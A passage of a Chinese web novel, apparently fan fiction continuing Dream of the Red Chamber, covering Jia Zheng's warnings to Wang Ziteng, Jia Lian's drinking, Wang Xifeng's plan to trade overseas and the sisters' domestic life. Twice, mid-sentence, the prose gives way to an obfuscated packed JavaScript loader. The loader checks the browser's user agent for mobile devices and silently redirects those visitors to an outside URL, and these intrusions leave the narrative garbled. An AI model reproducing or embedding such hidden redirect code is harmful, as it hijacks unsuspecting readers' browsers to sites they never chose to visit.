在贾母眼中,薛家已经没有了皇商的名号,如今只勉力维持着基业。史家又要搬回金陵,再无曾经的荣华。四大家族,早已名不副实了。 因林如海是督察员左都御史,王子腾如今正是有心攀附的。便向贾政来了一封信,说过几日是他家长辈的生辰,邀请贾政和林如海去王府叙旧。贾家的女眷们自然也被邀请。 这是贾政第一次看到王子腾的热切,实在难得。贾政当然清楚王子腾打的什么算盘,只是毕竟他是王夫人的娘家哥哥,两府也是一荣俱荣的关系,该帮的忙自然要帮,该劝的话自然也要劝。 王子腾刚受了皇帝的责罚,也不敢大摆宴席,实际上只邀请了贾家人和林如海,也算是很低调了。 只是贾政看着王子腾一心与林如海打听事情,仍是醉心仕途,就不由得有些无奈,便道“如今圣上有意打压几户世家大族,我想二哥不如早先准备好退路,以防万一啊!”这话已经很直接了。 可是王子腾却道“存周这几年仕途顺利,为何像大哥那样有了归隐的心思呢?我看如今正应该再搏一搏,努力建功立业才是!不然你又为何自请去西北道呢!” 贾政看出王子腾所说,非但是指责他心里矛盾,也很看不上王子安激流勇退的行为,便又劝道“常言道‘月满则亏,水满则溢’,我也只是居安思危罢了!可是圣上打击咱们这几户人家,却是实有此事啊!” 林如海听到贾政所言,也就一起劝道“我也听到都察院里传的一些消息,只怕二哥日后还是不要那么锋芒毕露了。” “什么传言呢?”王子腾看向林如海。 林如海与贾政对视一眼,才低声道“这次参你的人不止一个,他们说你结交外戚···” 王子腾将口中的酒咽了下去,才道“无稽之谈。”只是捏着酒杯的手指却泛了白。 “有时候掌握的权力太大,就容易被蒙蔽了双眼,连性格甚至也会改变。二哥曾经是何等敏锐沉稳,做事周全的人,只是如今却有几分看不清也做不到了···”贾政又道。 王子腾并没有说话,他沉默一会儿,才道“我也听说了你们宁府的传言···” “他们敢那样做,也是嫌日子过得太好了。”贾政毫不留情地说道。 “你这人如今倒狠心。”王子腾半眯着眼睛看贾政。 “为人臣子的,就应当守住本分,一旦有所逾越,只怕就要万劫不复了。”贾政严肃道,“二哥以为呢?” “哪朝哪代都会有几个位高权重的人,难道他们都没有好下场吗?”王子腾却道。 “如果二哥只看到少数的幸存者,只怕以后也要吃亏的。”林如海正色道“如今四大家族名存实亡,薛家和史家都已没落,这是必然发生的···” 贾政接着林如海的话又劝道“何不顺应趋势,固守根基,凝聚人心,以待日后呢?” “我只想在我手中让家族达到顶峰,这样也不好吗?”王子腾晃着手中的酒杯,直直看着那琥珀色的美酒。 “顶峰之后不就是必然的衰落吗?”贾政叹了口气。 “二哥没有必要再去做富贵险中求的事情,实在是风险太大,不值得将阖家老小的性命作为赌注···”林如海也很诚恳。 “你们说的都有道理,我也不是完全听不得建议的人。”王子腾放下了杯子,他看着自己在酒杯中的倒影,才悠悠道“容我再想一想吧···” 贾政和林如海今日与王子腾的谈话,并没有太多实际内容,只是试探了王子腾的心思。让贾政不很惊讶的是,如今的王子腾已经被权势蒙蔽了双眼。而所谓传言他结交外戚,也并不是空穴来风。 已经有人向林如海报告了几件事,只是没有实际证据罢了。王子腾结交的正是唐贵妃的父亲,他如今任吏部侍郎,管的正是官员升迁调动。其中多少钱权往来,自不必说。 就像贾政管不了宁府的事,对于王子腾他只能是以劝为主。而在他的授意下,宁府贾珍结交泸定王的事也被林如海报到了皇帝跟前。 贾政时刻记挂着这事,并做好了事发后如何处理的准备。 孙绍祖上了一趟战场,虽然没有丝毫战功,但也算是添了一些卖弄的资本。自他回到京城,又和贾琏勾搭在了一起。这二人年纪相仿,又都喜欢寻花问柳,可谓是臭味相投。 只是对于迎春的事,孙绍祖竟然也有几分惋惜,认为自己无缘这样一门好亲事,全然忘了他之前对贾政的许诺。 “我听说你先前那个婆娘,最近回了京城?”孙绍祖勾着贾琏的肩膀,半醉半醒地说道。 此时贾琏也喝了个半醉,仍搂着一个歌女,听了孙绍祖的话一时没有想到他在说谁,就问道“你说谁呢?” “王家那个,你先前的婆娘啊!怎么才几天就忘干净了!”孙绍祖笑说。 “她回不回京城,你哪里知道?”贾琏嗤笑一声。 “你还不知道呢!”孙绍祖嘴巴凑近了贾琏,笑道“西四十条街最近新开了好几家铺子,卖的全是外国货,我有一天凑巧去了,就听到有人说老板是王家大老爷的姑娘。” “王家大老爷有几个姑娘呢?”孙绍祖晃了晃贾琏的肩膀。 “你亲眼见过她了?”贾琏问道。 孙绍祖摇了摇头,“听说她并不经常来店里。常有一个叫平姑娘的代为打理···” 贾琏忙问道“这位平姑娘长什么样儿?” “容貌秀丽,说话和和气气的···”孙绍祖还没说完,又被贾琏打断“一定是她们了!” 贾琏说罢,猛灌了一杯酒,仍愤愤不平。孙绍祖看出他的反应,便打趣道“看不出你还这么在意她喽!” “不过是我看不上的人罢了,哪里在意半点了?”贾琏不小心咬到了舌头,口中满是腥甜的血味。 “既然如此,不如我做大哥的替你出口气,如何呢?”孙绍祖又道。 贾琏思考了一下,才摆摆手道“又何必再去干扰她们呢?各自安好就罢了!” “还说不在意?你也是个嘴硬心软的,比我可是有良心多了!”孙绍祖笑道“若我是你,自然要将她们的铺子砸了,让她们再也不能在我的眼皮子底下蹦跶···” 贾琏嗤笑一声,斜瞥了孙绍祖一眼,才道“我怕你禁不起她的手段!” “竟然还有女子能在我跟前得了好处,你骗鬼去吧!”孙绍祖很是不以为然。 “十个男人也比不上她,只是她命不好,没有托生成个男人罢了···”贾琏道。 “那你能比得上他吗?”孙绍祖又打趣道。 贾琏本来还在怀念着王熙凤的种种好处,忽然被孙绍祖戳中痛处,便回道“我只是懒得与她计较罢了···” “所以你也承认比不上那个婆娘了?真是难得啊!”孙绍祖半个身子歪到了榻上,还举着酒杯。 贾琏起身拿过了孙绍祖手中的杯子,笑道“我敬哥哥一杯。”说着就要喂酒给孙绍祖喝,可是突然手一歪,酒全洒在了孙绍祖脸上。 孙绍祖已经醉了,此时也不计较,在脸上抹了一把,又喊道“哪个姑娘陪爷睡觉去啊!” 贾琏看着孙绍祖的样子,心里不禁有些奇异的怒意。他只是摇摇头,勉强将怒气压了下去。便无心待在这里,转头回了家。 深秋的夜晚,冷风吹得贾琏清醒了大半。他有些烦闷,反而掀开马车的帘子,刻意要吹冷风。待回到家时,只看见屋里亮着灯,模糊一个身影在窗边坐着。 贾琏一进门,自己也感觉出浑身的酒气不太合适,刚要开口时,却听到张雪月轻声道“大哥今日来找二爷,说有事让二爷帮忙。” “我明日亲自去一趟吧!”贾琏堆着笑,却看到了张雪月眼中的疲惫,便又问道“你不舒服吗?看起来很累。”说着话就坐到张雪月身边,要凑近了看她。 张雪月微微侧了身子,才道“二爷快去更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“叹什么气呢?哪里画错了?”迎春早就注意到了惜春叹气,只是忍着没有说。 “二姐姐,我想找师傅学画画,你说好吗?”惜春抬起头笑道。 “这有什么不好,你若想学,便请太太为你找个画师。”迎春笑了笑,又放下了书。 “方才画的什么,拿来我看看。”迎春又伸手道。 惜春有些不好意思,红了脸,扭捏道“画得不好···”旁边惜春的丫鬟入画便拿了画给迎春看。 纸上只是粗浅地勾勒了倚在窗边看书的人。迎春却忍不住笑了笑,因为她看到了画中自己发间的一支白玉雕成的玉兰发簪,那还是昨日探春送她的。虽今日没有戴着,惜春却画了上去。 “若画的不是我,我一时半会儿还真猜不到呢!”迎春也难得打趣惜春。 “就说画得不好了,姐姐偏要看!”惜春有些不好意思,抱着迎春,半个身子埋进了她怀里。 “你们两个在这里玩闹,却不叫我!”探春边说话边走了进来。 “三姐姐可是个大忙人,我们哪里敢惊扰你呢!”惜春抬起头笑看了探春一眼,仍靠着迎春。 “三妹妹快来看惜春的画儿!”迎春笑着将画递给了探春。 “三姐姐,我想学画画呢!你帮我和太太说说好不好呢?”惜春起身挽着探春手臂笑道。 “不愿意参禅画写意了吗?”探春在惜春额头点了一下,才笑着坐到了迎春旁边。 惜春笑得眯了双眼,才道“宝姐姐说那些东西最容易移了性情,我年纪还小,最好不要老是想那些禅啊佛啊的!” “宝姐姐说的话你倒是听得快!”探春说着将画放到了桌上。 “宝姐姐最是博学了!就连林姐姐湘云姐姐都佩服她呢!我最小,当然要听宝姐姐的!”惜春露出一个小酒窝。 探春又摸了摸惜春的脑袋,才笑道“晚上我就和太太说,好不好呢?” “等我学成了,就请三姐姐为我题字!”惜春又扑到了探春怀里,抱着她的脖颈。 “好啦!快喘不上气了!”探春笑道,惜春也就松开了手。 探春随手拿起了迎春手边的书,一看书名是《太上感应篇》,就忍不住皱了眉头。 刚抬起头,探春就看到惜春在迎春耳边说话,还指着她一直笑呢! 82.人生只似风前絮 探春也顾不得去问她们两个在笑什么,就正色道“依我说,二姐姐竟不要再看这些书了!虽然确实是劝人向好的,只是未免太消极些···” 说了一半探春看到惜春笑得更欢了,就疑惑道“四妹妹怎么笑成这样?” 惜春便道“我早就和二姐姐说了,若她再看这书,三姐姐肯定要劝的!果然今日姐姐一来,就要劝了!” 迎春抿着唇笑了笑,又解释道“你说的我都记着呢,今日只是随便翻了翻,也没有深看···” “三姐姐刚才可真像个女夫子呢!”惜春又指着探春笑道。 探春也不恼,仍劝道“二姐姐性子和软,以后还是不要读这书了。” 探春说罢,就吩咐丫鬟侍书将这本书收了去,又拿出几本准备好的书,才道“这几本是父亲和我一同翻译的。父亲说是一个外国人写的,让我拿来给二姐姐读。” 迎春笑着接了过去,就翻了翻,又问探春道“家务事可遇到什么难处了吗?” “并没有什么,凡事有母亲和大嫂子指点,也没有太难做的地方。”探春笑道。 “听说三姑娘可是个雷厉风行不容情面的主子呢!”惜春边翻书边打趣道。 “你又听到什么了吗?”探春捋了捋惜春的头发,笑问道。 “就是那些丫鬟婆子们啊!她们哪有不说的?”惜春转了转眼珠,又道“不过说起三姐姐来,她们总是又敬又畏的!” “你这丫头!又来打趣我!”探春意识到惜春故意在开玩笑,说着就在惜春身上挠痒。直惹得惜春央告不停,才停了手。 探春理了理自己的鬓发,又想起一件正事,才道“父亲从外面弄了些时令瓜果,还有几篓子螃蟹。如今也不能摆席,就让咱们明日都去母亲屋里,姐妹们吃螃蟹呢!” “说起这个,诗社也好久没有起了,上一次诗社竟然是去年秋天,也是吃螃蟹的时候···”迎春不由得叹了口气。 “二姐姐既然有心,不如我明日做个东道,如何?”探春笑盈盈看着迎春。 “这好极了!明日她们都要忙着作诗,咱们姐儿俩尽情吃吃喝喝!”惜春拍手笑道。 “哪有这样的···”迎春也忍不住笑了。 探春的执行力自不必说,与王熙凤相比也是有过之而无不及的。次日荣府这边的女孩子们又是热热闹闹过了一日。 王熙凤知道宝钗又去和姐妹们玩闹去了,自己也不方便参与,她正忙着打点生意呢。 这一年多来,王熙凤去了扬州,泉州,虽说是与宝钗一同经营丝织厂,但她也为自己相看中了几样生意。 因要与外国商人合作,将丝织品卖到海外,王熙凤趁便采买了各类西洋玩意,带回到金陵却意外收获了不少的询问。王熙凤便留了心,与一家西洋的商号和一家南洋的都谈定了,让他们将自己选定的货物直接运到金陵。 自此,王熙凤就在金陵做起了销售西洋玩意的生意。不过半年,生意已经很是红火,这次进京,王熙凤便又在京城盘了几家铺子,专做这个生意。 一个人纵有多少精力,难免有顾及不到的地方,平儿就成了王熙凤最牢靠妥帖的臂膀。 所有王熙凤自己不方便出面的事,几乎全是平儿在做。平儿也不愧是王熙凤一手调教出来的,其爽快麻利和周全细致十分出色。 况且平儿个性随和,待人接物比起王熙凤要更亲切。因此后来王熙凤自己再不管接待人的事,全让平儿来做。 当日她们二人一到金陵,王熙凤便将平儿的身契给了她,又将自己手里的一处院子也送给了平儿,地契同样给了她。平儿便不再管贴身伺候王熙凤的事,成日里只忙着管理铺子上的事情。 她们二人年纪相仿,如今都有二十二三岁了,王熙凤便想着应该为平儿选个夫家,只是毕竟心里也舍不得,就亲口问了平儿。只是平儿没有半点想要成亲的意思,王熙凤反而放了心。 因为她一点也不想让平儿离开。作为良民的平儿若嫁了人,自然是去为丈夫管家。王熙凤不想这样。平儿的亲口回答解开了王熙凤的心结。 况且,王熙凤心中另有一样大事,若真要去做,也是离不开平儿的。 王熙凤自己心里做好了计划,便打算和宝钗商议。这也是她此次进京的另一个原因。 “凤姐姐和平姐姐难得一起来了!快坐吧!”宝钗本来正和黛玉一处读书,听到丫鬟通报,便起身迎了上去。 “姑妈不在家吗?”王熙凤坐了下来,笑问道。 “母亲去了姨妈那里呢。”宝钗答道。 “姐妹俩自然总有说不完的家事人情。”王熙凤说罢喝了口茶。 王熙凤笑看了一眼宝钗和黛玉,却没有先说正事。宝钗轻笑了一下,就让丫鬟都出去,又吩咐莺儿在门口看着。 “凤姐姐现在能开金口了吗?”黛玉说着话,也起身坐到了宝钗旁边,四人围在方桌旁坐着。 “我想去一趟南洋···”王熙凤正色道。 宝钗和黛玉不曾想过王熙凤会有这样的想法,脸上都有些吃惊。平儿虽知晓王熙凤性子,但也是第一次听她有这样的主意,便只好强按住心里的惊讶,等她下文。 “若是想将生意铺到那边,大不了派人去就是了,何必自己走一遭呢?况且中间隔了汪洋大海的,也不甚安全!”宝钗担忧道。 黛玉也劝道“只怕遇到歹人劫船,到时人生地不熟的,也太危险!” “也不知道你们姐妹俩什么时候心思这么一致了!”王熙凤却打趣道。 “姑娘,你也听听宝姑娘和林姑娘的话吧!”平儿见王熙凤竟然完全不在乎宝钗黛玉的劝说,也忍不住开口劝道。 “急什么呢?我还没说完呢!”王熙凤拍了拍平儿的手背,又笑道“该担心的事我先前都考虑过了。我本意是想去西洋的,只是毕竟太远,危险也太多了,这才想了个折中的办法,去南洋罢了。没有想到你们竟然都不同意!” “若我一开始就说要去西洋,不知道你们又是怎样的反应呢?”王熙凤笑着看向宝钗黛玉二人。 “可是凤姐姐,你却没有说非去不可的理由呢?”黛玉看出宝钗心中所想,便代她问了出来。 “因为我想将生意做到南洋,西洋,做到全世界去。”王熙凤正色道。 宝钗听了,若有所思,反而不说话了。 “不如先派些人去探探路,再让几个得力的管事去办,也不用姑娘亲自去。”平儿仍很担忧,又劝道“姑娘若信得过我的话,我愿意代姑娘去的,南洋或是西洋,我也会说几句那里的话,我去还更好些!” 王熙凤自然看出平儿不是故意夸耀自己,而是真心为了她着想的,便对平儿笑了笑,才道“咱们两个一起去。” “凤姐姐有这样大的志向,我们反而不好劝了。”宝钗轻笑道“况且你做事自然周全老到,我也没有什么可以叮嘱的···” “哪里是让你谦虚了?”王熙凤点了一下宝钗的脸颊,又笑道“既然来和你们商量,自然是要找你们帮忙的!” “宝姐姐哪里知道南洋和西洋的事?当初还不是为了这事才找凤姐姐帮忙的吗?”黛玉却道。 宝钗见王熙凤只笑着看她,就道“难不成凤姐姐想找舅舅帮忙?” 王熙凤笑着摇摇头,才道“姑父大概也帮不上忙···”顿了顿,又补充道“我是想与你合伙。” “丝织厂的生意不就是咱们合伙的吗?怎么又来问这个?”宝钗说罢,又喝了口茶。 “我的意思是,咱们两个合伙,不是薛家和王家合伙,这还不懂吗?”王熙凤故作遗憾地叹了口气。 黛玉见宝钗陷入思考,便道“见者有份!凤姐姐不能忘了我!”黛玉起身走到王熙凤跟前,又抱着她肩膀撒娇。 “我可没有说不带你呢!”王熙凤拍了拍黛玉的手臂,她才坐了下来。 “我们如今有了个书坊,你怎么还去闹凤姐姐呢?”黛玉刚坐下来,宝钗就在她脸颊捏了一把。 “好吧,我只是开玩笑的,还是不要掺和你们的正事了。”黛玉吐了吐舌头,又叹道“况且我又没钱,如何参与呢?”说罢,还摊了双手,露出十分无奈的神情。 惹得平儿都不禁笑出了声。 “只是凤姐姐,我还是觉得你不要亲自冒险的好,毕竟危险太多,况且女儿家出门在外,总还是不太方便。”宝钗又正色道。 宝钗所说都是实情,况且王熙凤也知道宝钗满心都是关怀,便道“等咱们两个敲定了,我便派人先去探路,待他们在那里安顿下来,我再过去。自然是要谨慎为上的。” 宝钗听了也不再劝,就开始谈正事了。 平儿只呆想着其中的艰险困难,也没顾上细听,却被黛玉轻轻扯了一下袖子,她才回过神。 平儿看着王熙凤正口若悬河地与宝钗讨论,要雇多大的船,雇多少人,采买哪些货物,走哪条线 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“他总是在外面乱来!也不知道收敛收敛!却害得姐姐为他着急!”王熙凤连着三句都带着怒气,却不忘轻抚着尤氏的脊背,以示宽慰。 尤氏却摇了摇头,又道“这次不同往日,他是结交外官了才被人告的···” “这样只怕要坏事了!”王熙凤也皱眉道“老太太和老爷太太知道了吗?” “还没敢去说,我想他也怕被老爷说教。”尤氏说道。 “别想这些了,你为他担忧再多,总也没有什么用,祸都是他闯的,自然也该他去收拾残局。”王熙凤边说话,边为尤氏倒了杯茶,又将一盘柑橘端来让她吃。 只是虽然这样说,但王熙凤也知道若是贾珍出了事,尤氏自然第一个要受连累。然而现在只能宽慰,又如何说更残忍的实话呢? “姐姐,你想不想···”王熙凤忽然想到这里,但说了一半,却没有再说。 尤氏却抬起头勉强笑了笑,轻声道“我哪有你那样的果断呢?”王熙凤知道她已明白了自己意思,也不好再说。 “以前你也说我太过心软,对下人太宽了。只是天生这样的性子,哪里改得过来呢?”尤氏仍轻声说着“我知道你一心为我好,我也不该辜负你的好心,只是各人有各人的命,我既然不能果断与他分割,也就只好自己受着了!” “该是怎样的命,我也只能接受。”尤氏说罢,也轻叹了一口气。 “姐姐不要这样说了,日后真出了事,我自然竭尽全力帮你的!”王熙凤挤出一个笑容,想要宽慰。 尤氏却摇摇头,说道“我应当早预料到的···” “贾琏的事你可知道吗?”尤氏忽然问道。 王熙凤却笑了一声,才道“我哪里去知道他的事。” “你若不想知道,我也不该说的···”尤氏自悔失言,她本来以为王熙凤是想知道的。 “既然说了,姐姐就告诉我吧。”王熙凤却道。 “他又娶了个姑娘···”尤氏有些犹豫。 “国孝期间?”王熙凤很有几分惊讶。 尤氏点了点头“并没有告诉这府里的老爷太太,只请了你珍大哥去喝酒。” “他们兄弟两个自然亲密得很!”王熙凤笑出了声。 “我提起他是因为前几日他也被人告了,还被敲了一万银子,才勉强了事。”尤氏解释道。 “他哪来这么多钱?大老爷给的吗?”王熙凤问道。 “是和他大舅哥借的。”尤氏道。 王熙凤冷笑一声“不过又祸害了一个清白姑娘罢了!也不知道他使了什么手段把人家偷娶了来!想来不过是以权压人了吧!” “那姑娘也是个可怜的,如今孤单单住在外面,也没个名分,只怕日后这事再被人捅出去了,恐怕不好了结。”尤氏心里对张雪月也有几分怜悯。 “他们兄弟俩都是这样做事,白白让家里人为他们悬心,所以我说竟不要再为他们操一点心!横竖都是他们活该的。”王熙凤心中不免有几分愤怒,她很是看不上贾珍和贾琏这样为人做事。 王熙凤说到这里,又对尤氏正色道“姐姐莫要担心家里的事,我去求了姑父姑母,若出了事,一定将你保住。大不了日后与他和离,姐姐来投奔我,咱们与平儿姐妹三个相伴着,哪还有比这更自在的生活呢?” 83.当时只道是寻常 京城迎来了入冬后的第一场雪,宝玉却无心像往年那样欣赏雪景了。他开始一门心思想着读正经书,走正经路。 贾政从贾珠口中得知了宝玉的想法,也没有很惊讶。宝玉成日和姐妹们相处,他自然会直接或间接看到姐妹们的成长。而他自己也到了成长的时候,贾政虽想着不能勉强宝玉做事,但也不会一直放任他纵情享乐。 既然宝玉有了读书的心思,贾政应当鼓励宝玉的尝试。不论他试了之后要不要选择这条路,敢于尝试总归是件好事。贾政便借这个机会,又整顿了族学。 将从前只供男孩子们读书的学堂改成内外两间,里头的供女孩儿们读书,外头的供男孩们儿读书。中间隔开,不留门,为了防止出现其他的纰漏。 老师的人选却需要费一番心思,幸好宴乐给贾政推荐了两名老师。一男一女,皆是饱学之士。男先生曾中过进士,也在翰林院编了几年书,后来家中有丧事,回去丁忧,便再没有进过官场。女先生同宴乐类似的经历,学识渊博才德兼具,也很适合为姑娘们教书。 虽然如今姑娘们都不太需要上学,但惜春年纪小,可以同老师学习绘画,还有一些亲戚们家的女孩子,若有意送来读书,贾政也都很乐意让她们多上几年学。族里其他人家的男孩儿便和宝玉一处读书。 刚开始时,贾政也亲自去听了几天,看到两位老师的确名副其实,贾政也就放了心。只是看着宝玉那样悬梁刺股的劲头,贾政只能出言提醒几句,万不可因为读书而伤了身体。 这日贾政早早办完了公事,路过学堂时就看到惜春一个人正和先生说话。贾政就在旁边等着她俩说完,才牵着惜春一同往王夫人院子走。 “今日只有你一个人吗?”贾政笑问道。 “姐姐们前两天都有来,只是今日她们都忙。就只剩我和几个亲戚家的妹妹们读书了。”惜春回道。 “你二姐姐没有去吗?”贾政又问。 惜春便摇摇头,叹道“我们都劝二姐姐去学堂坐一坐也好,不然总是闷在屋里反而容易生病呢!” “不是总有你林姐姐三姐姐去看她吗?”贾政有些奇怪。 “老爷不知道,林姐姐和三姐姐每次去坐一会儿,就被二姐姐赶走了!”惜春有些无奈。 “她有心事吗?”贾政有些担心了。 “最近家务事多,三姐姐要为太太帮忙。林姐姐和湘云姐姐也不知道一起忙些什么。二姐姐心里都知道姐妹们忙,也不想她们一直陪在这里浪费时间···”催春解释道。 “原来是这样!难为她这么体贴了!”贾政说到这里,又摸了摸惜春的头,弯了腰问她“我去劝你二姐姐,让她同你一起去学画画好不好呢?” “真能这样就太好了!”惜春也狠劝了几日,只是迎春懒怠出屋子,说什么也不去。 贾政牵着惜春回到院子时,就听到上房里说话声很热闹,二人走了进去,便看到黛玉探春湘云同王夫人坐在炕上。 “我说怎么叽叽喳喳好像一群麻雀叫!原来是你们在屋里说笑呢!”贾政打趣道。 王夫人又是无奈又是欢喜地回道“也不知道她们在说些什么!三个人倒像是三十个人!”说着话,就捧了杯茶递给贾政。 贾政刚喝了一口茶,探春就凑上来,在他耳畔说道“林姐姐和湘云的书写成了!” “只可惜我竟然没有准备贺礼,实在是不应该!”贾政听罢,就朝着黛玉和湘云看去。 黛玉尚有些羞涩,湘云却起身走到了贾政旁边,又不住地晃他的手臂,说道“贺礼总是少不了的!老爷一定要补上呢!” “书已成了,却不拿来给我们看看吗?”贾政坐到王夫人身侧,又顺手接了王夫人递来的小暖炉,放在了腿上。 “舅舅怎么这样性急呢?”黛玉歪了头笑道。 “你们既然聚在这里,肯定是有事要说,并不怪我性急,谁知道你们背后打什么算盘呢?”贾政又道。 湘云刚要开口,就被黛玉拽了拽袖子,这才捂住嘴巴,没有露馅。 贾政也不故意打听,就问道“你们二姐姐怎么没来?” “外边冷,二姐姐说她也不方便,就不过来了。”探春答道。 “冬天这样长,总不能让她一直待在屋里吧。”贾政看向了惜春,又道“不如咱们一起去找她,闹她一回!” “老爷!你怎么和孩子一起欺负起迎春了?”贾政话音刚落,就被王夫人阻止了。 “母亲,咱们一起去看看二姐姐吧!”探春立刻贴心地挽着王夫人手臂,如此建议道。 乖女儿说的话,王夫人自然会听的,便笑说“正好我让厨房做了几样吃的,一起端过去,就在那屋里吃了吧!”说着话,王夫人就和探春出了门,黛玉湘云惜春也跟着出去了。 贾政在后头无奈笑道“也没有人理我!”抱怨完也跟了上去。 谁知他刚出门,等在外面的王夫人就为他罩了一件棉披风,还笑道“老爷也不想着多穿一件!就这样进进出出,也不怕冷!” 贾政看到孩子们都在前面笑着等他们,有些不好意思地挠了挠头,这才与夫人往前走了。 “你的手怎么这样凉?” 贾政突然小声说道。 “有吗?我并没有感觉到···”王夫人话说一半,一只手就被贾政拉住了,他口里还说着“这样暖和一些。”袖子垂下来盖住了二人的手,袖口的毛边让人痒痒的。 王夫人才意识到又是贾政故意调皮了。 迎春独自待在屋里,就是因为不想惊动别人。她因行动不便,若再四处走动,总不免惹得许多人麻烦,不如一个人清静。姐妹们虽劝她不要这样想,可是经年累月养成的性格,如何在一夕之间改变? “二姐姐!” 迎春本来凝神看书,忽然听到有人喊她,就往门口去看,却不见人,又觉得颈畔猛的一凉,回头看时,才知道是湘云把手轻轻贴在了自己的颈边。 “你这丫头!总是这样古怪!外面这么冷,自己却不知道带个手炉,快伸出手我给你暖一暖!”迎春说罢,就拢住湘云的手,不停搓着。 “二姐姐,你看这是什么?”进门的黛玉和探春手里各拿了一个小小的雪娃娃,上面用树叶做了眼睛。 “好好的怎么玩起雪来,手都冻红了!”迎春虽然喜欢妹妹们这样体贴,特意做雪人逗她玩,却不忘担心她们着凉。 湘云举起双手笑道“快过来,让二姐姐给你们暖手!”说罢,湘云就走到门口将贾政和王夫人迎了进来。 “别起来,躺着就行了。”王夫人看到迎春要起身,忙阻止道。 “这几日怎么样?天气冷了,有没有觉得腿疼呢?听大夫说天寒的时候很遭罪,预备的丸药你可吃了吗?”王夫人一连好几个问题,却让迎春不知道如何回答了。 “你问得这样多,迎春哪里顾得上回话呢?”贾政手里拈了块点心,笑看王夫人和迎春。 迎春也有些不好意思,就回道“晚上有一点点疼,但不碍事的。丸药我每天都服用的,太太不必担心我。” “你这孩子,有时就是太懂事了些···”王夫人叹口气,又轻轻抚了下迎春的脸颊,叮嘱道“有什么事情,尽管打发人去找我,或是找你三妹妹,不要那么拘谨才好!” 王夫人说罢,便让丫鬟将点心端过来,自己拿了一块喂给迎春。 “我看四姑娘的画可是越来越好了呢!”贾政看了一眼惜春,又笑道。 “看来那先生是个好的,不如迎春你也跟着她一起学画如何?”贾政问道,想了想就变了主意,补充道“若是不想出门,就让先生来屋里教吧,只要你愿意就好。” 迎春不愿意去学堂正是因为不愿意让其他人看到自己行动不便的样子,既然贾政都这样建议了,自然再没有拒绝的道理,便点头答应了。 倒是惜春有些不太高兴,她撅嘴道“早知道这样简单,我就应该早早请老爷来做说客,也省的费了那么多口舌!” “因为你年纪小,看不到关键之处!”黛玉指着惜春笑她。 惜春半靠着迎春,又笑道“总之目的是达成了!二姐姐没有基础,我可以先教教你!” “怎么,现在是要拜师吗?”探春却道。 “正是这样!”惜春说着就站了起来对迎春道“从此以后我就是二姐姐的老师了!” “我若再有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203110|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么话,二姐姐这个做学生的不可不听呢!”惜春指着迎春笑道。 “惜春师傅,不如先将你今日的大作拿出来让我们观摩观摩,如何呢?”湘云两手搭着惜春的肩膀,故意逗她。 “这还不简单吗?入画快拿出来,让她们瞧瞧!”惜春对入画说完,又晃了晃迎春手臂“一会儿看了画,二姐姐可一定要答应下来!” “师傅都吩咐了,我哪敢不应?”迎春笑罢,又将惜春搂在怀里,与湘云一起逗她。 黛玉和湘云今日是有事来找探春的,几人从迎春处离开后又去找了宝钗。 走在路上时,探春不免说了句话“二哥哥这几日可是勤奋得很,除了在母亲处能见他来请安,其余时间都在房里用功呢!” 黛玉却叹气道“他突然改了性子,能这样用功也是好事,只是希望不要生病了才好···” “男孩子到了年龄就有该做的事,你们两个也不要太担心了!”湘云笑着开解道。 说笑间就到了薛姨妈和宝钗住的梨香院,探春吩咐丫鬟将王夫人让带来的点心拿了出来。 薛姨妈见了便笑道“来就来怎么还带这些东西!” “母亲说是父亲想出来的方子,让厨房做的新鲜味道,送来给姨妈和宝姐姐尝一尝。”探春笑道。 “该说不说,你父亲在吃上总有这么多新花样。”薛姨妈尝了一口芋头牛乳糕,很是满意。 “这两盘你们去里间吃,我知道你们来肯定是和宝钗说事的!”薛姨妈搂着黛玉,不禁笑道。 “姨妈这里有扬州的厨子,我晚上要留在这里吃饭!”黛玉却道。 “天气这样冷,也省得你们跑来跑去的。”宝钗也笑道。 “不如咱们几个今晚和宝姐姐一处睡吧!”湘云却突然想到这里。 “又不是小孩子了,还这么顽皮!”薛姨妈笑着在湘云额头点了一下,也将她搂着。 “只是我的床太小,怕你把我挤下去了!”宝钗忍不住打趣了湘云的睡姿。 “哪有呢?我可什么都不知道!”湘云鼓了嘴巴,不再看宝钗。 “你们两个和宝姐姐睡吧,我还是要回去的。”探春笑道。 黛玉自然知道探春记挂着迎春,若没有别的事,晚上她总是与迎春一处睡的。 “我这就吩咐莺儿,让她将炕烧得暖暖的,咱们晚上都睡在炕上好不好呢?”宝钗笑道。 “这样正好!床太小了,哪里睡得下咱们三个人!”湘云拍手笑道。 “只怕只睡得下一个你呢!”黛玉在湘云鼻尖戳了一下。 “好啦!既有正事要说,咱们快去吧,不然一会儿该吃晚饭了!”宝钗和探春将湘云黛玉从薛姨妈怀里拉起来,四人进了宝钗房里。 “怎么不见英莲?大冷天的,她去了哪里?”黛玉问道。 “她这几日都在屋里读书写字,忙得很呢!”宝钗给黛玉递了杯茶。 “难不成她也和二哥哥一样,要蟾宫折桂了?”湘云打趣道。 宝钗笑着摇摇头,也坐了下来,回道“英莲说袭人没有时间经常过来习字,她想着将一些常用的字写成一小本,再注上一些口诀,方便袭人平时学习。” “英莲真是有心了!”探春点点头,也很是喜欢她这样的细致体贴。 “你们几个来得这样齐,肯定有事找我,怎么忍了这么长时间还不说呢?”宝钗环视了另外三人。 只有湘云先忍不住,她看了一眼黛玉,问道“林姐姐,我现在可以说了吗?” “你这话问得,好像我平时将你管得很严呢!”黛玉有些不好意思了。 